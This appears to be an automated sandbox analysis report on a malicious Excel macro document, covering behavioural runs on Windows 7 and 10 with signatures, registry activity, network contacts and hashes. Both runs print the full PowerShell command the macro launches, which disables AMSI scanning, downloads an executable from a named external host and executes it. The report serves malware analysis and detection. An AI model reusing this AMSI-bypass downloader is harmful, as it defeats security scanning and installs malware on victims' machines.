Analysis Overview
SHA256
e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10
Threat Level: Known bad
The file d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Suspicious Office macro
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Checks processor information in registry
Suspicious use of FindShellTrayWindow
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-09 16:07
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-09 16:07
Reported
2024-09-09 16:10
Platform
win7-20240903-en
Max time kernel
126s
Max time network
123s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1192 wrote to memory of 1768 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 1768 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 1768 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 1768 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | soilex.co.ke | udp |
| US | 66.248.237.7:80 | soilex.co.ke | tcp |
Files
memory/1192-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1192-1-0x000000007292D000-0x0000000072938000-memory.dmp
memory/1192-23-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-33-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-32-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-31-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-36-0x000000007292D000-0x0000000072938000-memory.dmp
memory/1192-37-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-38-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-39-0x0000000006B40000-0x0000000006C40000-memory.dmp
memory/1192-41-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1192-42-0x000000007292D000-0x0000000072938000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-09 16:07
Reported
2024-09-09 16:10
Platform
win10v2004-20240802-en
Max time kernel
130s
Max time network
145s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4860 wrote to memory of 1900 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4860 wrote to memory of 1900 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | soilex.co.ke | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.173.189.20.in-addr.arpa | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.255.123.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 37.56.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
Files
memory/4860-1-0x00007FFDDAAAD000-0x00007FFDDAAAE000-memory.dmp
memory/4860-0-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-3-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-4-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-2-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-9-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-11-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-10-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-12-0x00007FFD982D0000-0x00007FFD982E0000-memory.dmp
memory/4860-8-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-13-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-14-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-18-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-17-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-21-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-20-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-19-0x00007FFD982D0000-0x00007FFD982E0000-memory.dmp
memory/4860-16-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-15-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-7-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-6-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-5-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-30-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-64-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-66-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-65-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/1900-67-0x0000022B00000000-0x0000022B00022000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5jazscug.s4i.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4860-77-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
memory/4860-78-0x00007FFDDAAAD000-0x00007FFDDAAAE000-memory.dmp
memory/4860-79-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 60a37022503fd9ac7053beb4f1d666fb |
| SHA1 | 74d113e6388730104a8b8bafb245e61cfbe44d4a |
| SHA256 | a1bb304b965c5c3103c362c9ac3f7842deae5bd9d633d6478bd7393a5ffe8b71 |
| SHA512 | 0b4069e88478199d1e739b167d63c10ce17fc5776857c4470037e349d99dbfd792613e7ce49d5aa640ec7b77707ad065cc8caa65e491691076c619b77c68429f |
memory/4860-109-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-110-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-112-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-111-0x00007FFD9AA90000-0x00007FFD9AAA0000-memory.dmp
memory/4860-113-0x00007FFDDAA10000-0x00007FFDDAC05000-memory.dmp